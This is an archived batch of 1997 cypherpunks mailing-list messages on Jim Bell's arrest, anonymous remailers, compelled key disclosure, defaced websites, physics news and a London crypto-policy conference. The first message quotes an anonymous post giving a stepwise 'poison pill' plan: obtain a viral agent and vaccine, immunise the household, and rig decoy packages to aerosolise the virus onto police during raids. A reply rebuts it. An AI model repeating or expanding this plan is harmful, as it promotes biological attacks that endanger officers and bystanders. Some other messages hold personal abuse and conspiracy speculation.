From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 21 May 1997 09:42:37 +0800
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Poison Pill Defense
In-Reply-To: <199705202352.QAA28733@fat.doobie.com>
Message-ID: <199705210134.UAA14119@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


The probability of innocent people getting in trouble with
this scheme is very high.

For example, a stray cat, a child, a curious bird or even a rat could
open the box and spread the infection.

If you do not do this stuff well enough, in a while the packaging
will break and leak. 

The most likely person to suffer will be you, anyway. I could not care
less about you, but these diseases are contagious.

igor

Huge Cajones Remailer wrote:
> 
> 
> I hear from anonymous correspondents that the following
> technique has been successfully deployed among some militia
> members and cypherpunks who fear raids on their private
> property.  Apparently the technique was originally invented
> by a biotech lab that the FDA was planning to shut down in an
> uncivil manner when Kessler first came to power.  The
> lab was never raided.
> 
> Preliminary: choose a suitable viral agent.  This may range
> from a short, severe flu to Eubola, depending on the level
> of deterrence desired and safety precautions you have available.
> Long-latency debilitating diseases have also been suggested
> as an especially effective deterrent that puts the property
> owner at less risk of detection.  The property owner must 
> obtain both the agent and an effective vaccine.
> 
> Step one: immunize household members against this agent.
> 
> Step two: create "tamper avenging" packages around the
> house.  Make them very suspicious looking (gun lockers, 
> boxes labeled "Danger: Toxic Materials", file folders
> labeled "Assassination Schedule for December", and so on).  
> Don't put them where guests, pets, and so on can get to them, 
> but in places where the thugs will look.
> 
> Step two (detail): the tamper avenging package contains an 
> invisible film of the viral agent in fluid adsorbed to a suitable
> carrier.  The carrier is a clear, thin film of sponge-like material that 
> produces a fine aerosol of virus containing fluid drops when
> disturbed.  When the package is opened and disturbed, the
> aerosol quickly shoots and and spreads throughout several
> surrounding cubic meters.  Persons unprotected by immunization
> or breathing masks are contaminated with high probability.
> I've heard unconfirmed rumors of a special sponge material
> that lasts for days, infecting a variety of government personnel
> and contractors who come in contact with the evidence, and
> in some cases, depending on the particular vector,
> people they in turn come in intimate contact with. 
> 
> Obviously I have not provided enough useful information
> in this post to propery implement this technique.  Don't
> try this at home without the help of paid professionals
> (who I hear are making a killing now with the recent
> spate of raids against militias, patriot groups, cypherpunks,
> and so on).
> 
> Give me Liberty or Give me Death;
> Johnny Appleseed
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 21 May 1997 09:58:33 +0800
To: cypherpunks@manifold.algebra.com
Subject: Jim Bell's legal defense fund
Message-ID: <199705210151.UAA14291@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi there,

I do not know Jim Bell personally and am not sure how rich he is,
but suspect that he might be in need of some funds in order to be
properly represented by good attorneys.

How about setting up his legal defense fund?

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 21 May 1997 10:50:37 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: update.322 (fwd)
Message-ID: <199705210200.VAA11531@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:
>From physnews@aip.org Tue May 20 14:20:29 1997
Date: Tue, 20 May 97 09:14:36 EDT
From: physnews@aip.org (AIP listserver)
Message-Id: <9705201314.AA25712@aip.org>
To: physnews-mailing@aip.org
Subject: update.322


PHYSICS NEWS UPDATE                         
The American Institute of Physics Bulletin of Physics News
Number 322 May 20, 1997   by Phillip F. Schewe and Ben Stein

IN QUANTUM CASCADE LASERS electrons are put in a
barrel, as it were, and sent over a series of waterfalls.  Instead of
recombining with holes to create photons, as in conventional
semiconductor lasers (one injected electron resulting in one
photon), electrons in a QC laser pass through a succession of
closely coordinated quantum wells---each well consisting of a
sandwich of semiconductor layers---unloading energy as they go,
in the form of photons (one electron creating 25 photons, one for
each stage in the stack). QC lasers are unique in that the output
light wavelength is determined not by semiconductor chemistry
(the type of materials used) but by the thickness and spacing of
the layers (sometimes only a few atoms thick). Cascade lasers,
first developed in 1994 by Federico Capasso and Jerome Faist at
Bell Labs, can operate in the mid infrared wavelength region (4-
12 microns).  This technologically important range is currently
being served primarily by low-power lasers which can only work
at low temperatures. By contrast, Bell Labs' new QC laser can
not only operate at room temperature with high output power (60
mW, with even higher power evident in recent experiments) but
can also be tuned to a single wavelength through the use of
gratings within the laser.  These features will allow scientists in
the field to carry out remote chemical sensing (of, say, pollutants
present at parts-per-billion levels)  by selectively exciting, and
detecting, specific chemical species. (Jerome Faist et al., Applied
Physics Letters, 19 May 1997; and a talk at this week's
Conference on Lasers and Electro-Optics in Baltimore.)

ZERO-DIMENSIONAL METALS are studied by physicists at
Harvard.  In general, reducing the dimensionality of an object
makes its quantum nature more manifest.  In a semiconductor,
for example, confining mobile electrons to a plane (2D) or a wire
(1D) or a dot (0D) enforces an ever sharper limit on the allowed
energies, and this can be exploited in producing compact and
highly controllable electronic devices.  The Harvard scientists
(contact Dan Ralph, now at Cornell, ralph@msc.cornell.edu)
have succeeded in attaching leads to 10-nm-sized metal particles;
this allows them to apply a gate voltage which turns the tiny
particle into a transistor. Unlike semiconductor dots, the metal
nanoparticle can be made magnetic or superconducting, allowing
forces inside the sample to be analyzed. Indeed, with this speck
of aluminum, the discrete quantum-mechanical spectrum of
electrons in a metal have been measured more accurately than
ever before. One can watch the electron spectrum even as
magnetic fields break up the superconducting state. (D.C. Ralph
et al., upcoming in Physical Review Letters, 26 May 1997.)

GAMMA RAY BURSTERS HAVE REVEALED
THEMSELVES at optical and radio wavelengths.  Astronomers
have sought to establish whether these once-only gamma sources
were near at hand (in the halo of our galaxy) or resident in distant
galaxies.  On May 8 the BeppoSAX satellite spotted a new GRB
at gamma wavelengths.  Alert Caltech scientists soon viewed the
same object with the Palomar and Keck optical telescopes,
establishing from the redshift that the object was some billions of
light years away.  Meanwhile, the Very Large Array radio
telescope has also glimpsed the object.  As of last week the
visible signal was decreasing and the radio signal increasing in
intensity.  (Press releases from Caltech (May 14) and VLA (May
15).)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 21 May 1997 10:20:11 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Lethality, guns, knives, & reality
In-Reply-To: <199705210126.UAA11333@einstein.ssz.com>
Message-ID: <199705210207.VAA14536@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> 
> Nifty thing I found out today is that the cleaner that I use on my
> whiteboard at work burns quite rapidly.
> 

Try sniffing it, you might like it.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 21 May 1997 12:40:40 +0800
To: cypherpunks@algebra.com
Subject: Why I think Jim Bell is getting railroaded
Message-ID: <3.0.2.32.19970520212520.00afa470@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I think that the Government is trying to make an example of Mr. Bell.  I
think 
that much of the charges reported in the news are flase.

Here is why...

1) They claim that Jim was actively trying to disrupt 911 service and poison 
the Bull Run water supply.  These are non-political targets.  Jim only thinks 
in political targets.  (I remember trying to get him to come to grips with
the 
idea that such a system as AP would not be used just for government types.  
That is would be used against anyone who had enemies.  Could not even make a 
dent...)

2) The warrent is sealed, yet the media is reporting all sorts of things
about 
the case.  Where is the information coming from?  Sounds like planted 
information to keep people from complaining too much when they send him up
the 
river for a few years...  (Whether he survives long in custody is another 
story.  I would be willing to bet that if he does not "cooperate" that he
will 
have some sort of "accident" while in government hands.)

3) The suspected crimes list keeps changing.  How many times has the 
"official" story changed?  Each time it gets more and more lurid.  (And many 
of the crimes are ones that get used against damn near every case the 
government tries against someone who threatens the security of the state.  
Belief starts to wear a bit thin after a while...)

Of course, i do not expect anything like the truth from standing in the way
of 
a conviction...

"Paranoia strikes deep...
  Into your soul it will creep...
   It starts when you're always afraid...
    Step out of line, the man come, and take you away..."



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Version: 5.0 beta
Charset: noconv

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=vP8r
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 21 May 1997 12:58:17 +0800
To: cypherpunks@algebra.com
Subject: Re: Why I think Jim Bell is getting railroaded
Message-ID: <3.0.2.32.19970520214425.00b1a440@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:25 PM 5/20/97 -0700, you wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I think that the Government is trying to make an example of Mr. Bell.  I
>think 
>that much of the charges reported in the news are flase.
                                                   ^^^^^
I meant "false".

Dyslexia.  Name for it by ask!

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 21 May 1997 12:54:32 +0800
To: se7en@dis.org>
Subject: Re: Hacked, Trashed and Out of Beer
In-Reply-To: <199705210121.UAA13946@manifold.algebra.com>
Message-ID: <v03007803afa82e2d94a2@[207.94.249.80]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:21 PM -0700 5/20/97, se7en <se7en@dis.org> wrote:
>Well, I finally managed to catch up on all the email from this list, and
>managed to also get all of the hacked web sites thus far up on my web
>page at http://www.dis.org/se7en
>
>w-h-i-c-h includes:
>
>Amnesty International
>Central Intelligence Agency
>East Timor, Indonesia
>Kriegsman Fur
>NASA
>U.K. Labour Party
>U.S. Air Force
>U.S. Department of Justice

Gee, your server sure wants to send a lot of cookies.  I consider receiving
a cookie before getting a statement, or being able to guess (e.g. WEB
shopping), about their use to be an unfriendly act.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Wed, 21 May 1997 13:04:30 +0800
To: cypherpunks@algebra.com
Subject: Re: Anonymous remailers:  A call to arms wanted
In-Reply-To: <3382463a.1158385@news.nr.infi.net>
Message-ID: <199705210454.VAA31404@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
misc.survivalism,  alt.cypherpunks)

In article <3382463a.1158385@news.nr.infi.net>, wjs@nr.infi.net wrote:

> Please, wackos, set up an alt.* group for your drivel.  It is the
> idiots like you you have the media and the general populace believing
> that all of us are just like you.
> 
> Thanks to you, I have to be very careful about who I talk to about
> "certain subjects", and my wife thinks I am paranoid for taking what I
> view as reasonable precautions.
> 
> I know I don't speak for everyone on the group, but I also know I'm
> hardly alone.  GO AWAY!

Anonymous remailers protect speakers from retaliation. The Founders used
anonymity, as the pseudonymous writings in the Federalist Papers show.

Granted, some anonymous posts are drivel, some are even illegal.

So?

The government is attempting to get anonymous remailers shut down, is
proposing restrictions on strong cryptography, and is trying to make it
look as though anyone supporting these things is a kind of right-wing
militia member crazy.

If you don't _like_ something, some opinion, either ignore it or write a
rebuttal. But don't play their game by saying there's something basically
_wrong_ with anonymous remailers.

--Tim May

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 21 May 1997 13:16:24 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Hacked, Trashed and Out of Beer
In-Reply-To: <199705210121.UAA13946@manifold.algebra.com>
Message-ID: <3.0.2.32.19970520220201.00b87520@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:47 PM 5/20/97 -0700, Bill Frantz wrote:
>At 6:21 PM -0700 5/20/97, se7en <se7en@dis.org> wrote:
>>Well, I finally managed to catch up on all the email from this list, and
>>managed to also get all of the hacked web sites thus far up on my web
>>page at http://www.dis.org/se7en
>>
>>w-h-i-c-h includes:
>>
>>Amnesty International
>>Central Intelligence Agency
>>East Timor, Indonesia
>>Kriegsman Fur
>>NASA
>>U.K. Labour Party
>>U.S. Air Force
>>U.S. Department of Justice
>
>Gee, your server sure wants to send a lot of cookies.  I consider receiving
>a cookie before getting a statement, or being able to guess (e.g. WEB
>shopping), about their use to be an unfriendly act.

Sounds like the AUTH_COOKIE module at work again.  Pretty easy to fix.  Just 
comment out the AUTH_COOKIE module (which should not be turned on anyways) in 
the src/Configuration file and recompile.  Keeps people from being cookie-
bombed into the stone age.

<rant align=tech>
AUTH_COOKIE is actually something for excessive user tracking.  It sends a 
cookie for every object sent by the server.  If they have Netscape 3.0 and
are 
tracking such things, it becomes a real pain.  Since few webmasters, if any, 
have log crunchers that will even use that data (or that anyone cares...) it 
is a waste of log space in the first place.  It also annoys many users.
</rant>
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

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=JUGI
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 13:31:10 +0800
To: Alan Olsen <cypherpunks@algebra.com
Subject: Re: Why I think Jim Bell is getting railroaded
In-Reply-To: <3.0.2.32.19970520212520.00afa470@mail.teleport.com>
Message-ID: <v03007800afa8416c9d32@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:25 PM -0800 5/20/97, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I think that the Government is trying to make an example of Mr. Bell.  I
>think
>that much of the charges reported in the news are flase.

Yes, it appears the fuckers are ignoring the lack of any significant
criminality (no bombs, no water poisoned, nobody murdered, no buildings
blown up, and no national capitals extinguished) and are throwing him to
the wolves.

They know that civil rights groups won't touch Bell with a 30-foot pole,
because of his advocacy of murder as a solution to the Problem, and because
he is not a good "poster boy" for a long public trial over free speech
issues.

And they probably have a pretty good case, given the American judicial system.

>Here is why...
>
>1) They claim that Jim was actively trying to disrupt 911 service and poison
>the Bull Run water supply.  These are non-political targets.  Jim only thinks
>in political targets.  (I remember trying to get him to come to grips with
>the
>idea that such a system as AP would not be used just for government types.
>That is would be used against anyone who had enemies.  Could not even make a
>dent...)

Exactly. This just doesn't compute. Bell never talked about poisoning water
supplies, in connection with his theories. (I don't deny that he might not
have speculated with his friends about how easy it might be to do X, or Y,
or Z. We all do such things, and this is the nature of any inquisitive
mind. But it ain't a crime, folks.)


>2) The warrent is sealed, yet the media is reporting all sorts of things
>about
>the case.  Where is the information coming from?  Sounds like planted
>information to keep people from complaining too much when they send him up
>the
>river for a few years...  (Whether he survives long in custody is another
>story.  I would be willing to bet that if he does not "cooperate" that he
>will
>have some sort of "accident" while in government hands.)

Actually, in most cases like this the "perp" is found to have hanged himself.

I never met Bell, but I sure hope this doesn't happen to him.

>3) The suspected crimes list keeps changing.  How many times has the
>"official" story changed?  Each time it gets more and more lurid.  (And many
>of the crimes are ones that get used against damn near every case the
>government tries against someone who threatens the security of the state.
>Belief starts to wear a bit thin after a while...)

The cops are clearly working with the media whores--that guy Painter is an
example--and are "tuning" their story to maximize the PR value.

It's the American Way.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 21 May 1997 13:51:59 +0800
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Wine Politics Again!
In-Reply-To: <8a1H7D13w165w@bwalk.dm.com>
Message-ID: <3.0.1.32.19970520222443.007560a8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:46 PM 5/20/97 +0000, Attila T. Hun wrote:
>    Dresden was probably the first highly visible of America's
>    willingness to literally destroy civilian populations with the
>    express intent of demoralizing a nation. 

General Sherman's march through the Confederacy wasn't first either.
Depending on when you count "America" starting, it was probably
some attack on some Indian group.  If you count internal attacks as well,
maybe the crushing of the Whiskey Rebellion or Shay's Rebellion?

>    government is its own end:  power corrupts, and absolute power 
sounds like so much fun....

>+Why go so far back?  How many civilians were murdered by the U.S.
>+gubmint in Korea, in Viet Nam, in Panama, in Iraq?

Casualties from Bush's invasion of Panama were about 6000, mostly military.
All sorts of people were murdering civilians in VietNam and Korea - 
governments, wannabe governments, other civilians...
US figures for deaths in VietNam are typically given as 50,000,
though sometimes you can remind them of the 2-3 million VietNamese killed
(in contrast to during the war itself, when there were exaggerated
body counts to make it sound like the draftees were doing a great
job of killing Commies.)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 21 May 1997 05:06:09 +0800
To: cypherpunks@toad.com
Subject: Re: Forgery detection
Message-ID: <199705202033.WAA26798@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 19 May 1997 14:35:57 -0600 (MDT)
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Cc: cypherpunks@toad.com
Subject: Re: Forgery detection

On Mon, 19 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C. May is just another garden variety Intel pansy that has been misusing its 
> `manhole' so badly that the overstretched Graham-John Bullers cannot hold back the shit that 
> all Intellers are full of and it spills out onto this mailing list.
> 
>             /\_/\
>            ( x x )
>        -oo0-(o o)-0oo- Tim C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 13:50:01 +0800
To: cypherpunks@algebra.com
Subject: Compelling a key
In-Reply-To: <199705210354.WAA11857@einstein.ssz.com>
Message-ID: <v03007801afa845edac1f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:54 PM -0800 5/20/97, Jim Choate wrote:
>Forwarded message:
>
>> Date: Thu, 15 Jul 1993 23:04:39 -0400
>> From: Allan Thompson <sparky12@earthlink.net>
>> Subject: encryption laws
>
>> Would it be possible for a court to subpeona a encrypted file or key,
>>
>> and order you to tell them the key ?
>> If you didn't would you be held in 'contempt of court' ?
>
>If they had reasonable cause to believe you had knowledge of the key and
>were refusing to divulge it under direct order of the court you would be
>held in contempt until you were very old and gray.

Not necessarily. Mike Godwin, and others, have written about the
"compelling of keys." It is by no means clear that a key can be compelled.
Citing the Fifth is one approach, saying one "forgot" is another.

As to being held indefinitely, imprisonment as an inducement to cooperation
has limits. (I just saw a spiel by Alan Dershowitz and others on this
tonight, vis-a-vis how long Susan McDougal can be imprisoned for contempt
in the Whitewater investigation.)

Basically, only until there is no reasonable expectation that the contempt
will be satisfied (or whatever the exact term is).

In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
who refused to say where her children were, was held for about 2 years, and
that this was the all-time record for a contempt case. She was ultimately
released when the court concluded she had no intention of cooperating.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 21 May 1997 12:45:58 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: encryption laws (fwd)
Message-ID: <199705210354.WAA11857@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Thu, 15 Jul 1993 23:04:39 -0400
> From: Allan Thompson <sparky12@earthlink.net>
> Subject: encryption laws

> Would it be possible for a court to subpeona a encrypted file or key,
> 
> and order you to tell them the key ?
> If you didn't would you be held in 'contempt of court' ?

If they had reasonable cause to believe you had knowledge of the key and
were refusing to divulge it under direct order of the court you would be
held in contempt until you were very old and gray.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 21 May 1997 06:21:11 +0800
To: cypherpunks@cyberpass.net
Subject: LSE UK crypto politics conference
Message-ID: <199705202203.XAA00956@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



I went to the conference in London on Monday organised by PI (Privacy
Intl.) and GILC (Global Internet Liberty Campaign.)  Speakers were
DTI representatives, Whit Diffie, Phil Zimmermann, Ross Anderson, Carl
Ellison, IBM UK representative, a few people from LSE (London School
of Economics, who hosted the conference).

I don't take notes, but here's a list of points I considered
interesting.  If you want details on any issues I can give more detail
as required.  If anyone else reading went and did take notes they
might be able to attribute quotes a little more accurately.  I
understand there's supposed to be an audio transcript on the web
http://www.privacy.org/pi/conference/dti might be a good place to look.

Government Presentation of proposal

1) David Hendon and Nigel Hickson from DTI presented the DTIs arguments.
They argued that this is a green paper only, the government has
changed, the document was partly the views of the previous government
and partly the views of the DTI.  This I viewed as an attempt to
deflect criticisms, as they could not specify what has changed, and
were not planning to change the document.  (The new government have
not looked at the issue at all).  The labour party had a much more
reasonable policy they published before they got in power; but it
remains to be seen whether they will stick to this or whether the
CESG/GCHQ will lobby them to adopt GAK/TTPs etc., which are in the
CESGs interests.

They claimed to not want to escrow signature keys, but only to escrow
encryption keys.  (The wording in the document clearly states that
they wish to escrow all keys as a condition of being a TTP).  They
said they had many comments on this issue.  (Clearly the only use for
escrowing signature keys is to allow forgeries.  Why would the
government want to forge messages from citizens?  To provide law
enforcement access they only need access to private encryption keys.)

The DTI said much of licensing requirements for TTPs were modelled
after banking regulations.

Architectural and Technical

2) Ross Anderson gave the example of the health service's experience
with CESG/GCHQ foisting flawed cryptography solution CASM on it
(complete with key escrow and secret algorithm Red Pike).  The BMA
(British Medical Assoc), and even DoH (Dept of Health) rejected this
`offer'.  Ross is a computer security advisor to the BMA.  He also
debunked many of the lies spread by GAK proponents, and gave a potted
history of the behind the scenes GAK activities in the UK and Europe.
He also said that CASM was now the laughing stock of Europe in the
crypto community, and that in response the CESG had allocated a new
project manager and given CASM a cosmetic name change to CLOUD COVER.

3) Whit Diffie argued about the importance of privacy in the
information society.  Explained how PK crypto removed the previous
problems with centralised key distribution services.

4) Phil Zimmermann gave his usual talk about the ethical case for free
use of crypto.  Civil rights workers, resistance fighters against
governments with poor civil rights records, etc.  Also made the point
that the backdoor into crypto the DTI appeared to be pushing would
allow the current government to abuse it's power to stay in
government.

Legal and Commercial

5) Peter Sommer, LSE made some points on legal topics digital signature
legislation, etc.

6) Carl Ellison, Cybercash argued against the centralised trust model,
and against X509.  Arguing instead for distributed trust models
particulary Rivest's SDSI and his own work on distributed trust.  Carl
argued that trust should represent permissions, and be administered by
the interested parties.  (eg your bank gives you a key with permission
to draw money from your bank account, not some government licensed
TTP).

7) IBM (in the form of Peter Dare, IBM UK) sold out to GAK.  Peter
Dare's presentation started with a list of things he liked about the
DTI proposal, then a few minor criticisms (very respectfully put), and
as a punchline to his talk presenting IBM GAKware (forget the product
name) and his talk finished with a sales pitch for this product.  At
the end of which Whit Diffie shouted out from the audience can Carl
Ellison have equal time for a cybercash sales pitch!

International

8) John Dryden representing the OECD gave a presentation of the OECD
guidelines.  (T-shirt and jeans odd the rest of the government and
business types wore suits.)  He explained the guidelines as a
significant relaxation.  The guideline referring to key escrow was
changed to a `may' escrow keys rather than a `should' escrow keys.
Said most of the time spent during the OECD SOGIS discussions was
spent arguing about key escrow.  He considered the guidelines a
significant step forward.  The guidelines are non-binding
recommendations.  He said 28 countries signed up, which should
indicate that their countries representatives found the guidelines
consistent with national laws.

9) Alistair Kelman, visiting position at LSE

Made the point (as several others had) that a general principle should
be that trust should mirror existing user trust relationships.  People
do not trust government, nor the sort of large organisations the DTI
is clearly envisaging as suitable TTPs.  He argued that GPs (General
Practitioners, family doctors) would be suitable candidates as trusted
members of the local community.  Kelman also seemed to be arguing that
keys should handed to the user, and not generated by the user.  I
queried him about this afterwards, as it is clearly a bad security
model, and he said he considered it a usability issue, generating keys
being too difficult for the user.  I don't agree, the usability is a
matter to be solved by good software, not by centralising key
generation.

Civil Rights and Privacy

10) Simon Davies, PI argued that case for commonality of interests
between business and privacy issues.

11) David Banisar, EPIC talked about the history of the US clipper
series, and raised the topic of digital telephony bill (where the
government requested access to first 1% and then reduced simultaneous
wiretaps).

Following up from this someone from the floor claimed that the
telephone networks are tappable without the phone company (BT, British
Telecom's) cooperation.  Indeed the person making this claim (who
claimed comprehensive experience and knowledge of phone routing
hardware) said that BT would not even be aware that the tap had taken
place.  Several others in the audience confirmed this was the case.
Whit Diffie said that he had not heard this claim, and that it was not
the case to his knowledge in the US.  The person making the claim said
that he knew the switches used in the US were the same (and quoted the
switch model), and so he didn't see why not.  The question was raised
as to why digital telephony was necessary at all with this type of
phone switch being used in the US.

Law Enforcement

12) The guy from NCIS (National Criminal Intelligence Service) didn't
turn up because he had to go to hospital due to an eye problem.  The
chair, Prof Ian Angell, LSE suggested this might have been due to
looking through too many keyholes :-)

Panel and Open Discussion

Panel: Carl Ellison, legal advisor to GLIC (forget name), Nigel
Hickson DTI, someone from TIS (?) who spoke too quitely.  Chair was
Caspar Bowden, Scientists for Labour.

Most of the panel session consisted of arguments directed at the DTI
and questions for Nigel Hickson representing the DTI.  Hickson had
made jokes about the hostility he was expecting.  He appeared quite
competent at avoiding answering questions directly where this suited
him.

Each panelist was given the opportunity to summarise their position.
Nigel Hickson claimed the main motivation for the proposal was to
encourage user and business confidence in digital signatures for
business purposes, and thereby to promote electronic commerce.  He
used this as justification for the banning of un-licensed TTPs.
Several comments from the floor that it would be better to let the
market decide, and to allow unlicensed certification authorities, key
servers etc to continue unmolested, and in competition with GAKked
government licensed services.

Hickson also claimed key escrow was a small part of their
consideration.  (I'm sure it's true that this is the part they wish to
downplay as this is the part which causes the majority of resistance.)

The question was raised as to whether the DTI understood that the TTP
system could be trivially bypassed by the criminals it was supposedly
designed to catch.  An example given was that anyone wishing to bypass
could use the sigature key helpfully certified by the TTP to
authenticate non escrowed keys they generated outside the TTP system.
The point that there were many other subliminal channels was raised
also.  Nigel Hickson acknowledged this, but said in defence that some
criminals are stupid, that criminals must talk to non-criminals.

Someone put it to Hickson "What is the worst thing that could possibly
happen if the government did nothing?"  ie what if the government
didn't legislate anything, ie why doesn't the government get the fuck
out of the way so that business can get on with commerce unimpeded.
Several business people put it to the DTI that they didn't need any
`help', and that the regulations had held up electronic commerce for
too long already.

Several people argued that business is most interested in
authentication, and not in confidentiality.  So for business purposes
(which what after all the DTI claim is the main reason for the paper,
and the DTI being after all the `Department of Trade and Industry' and
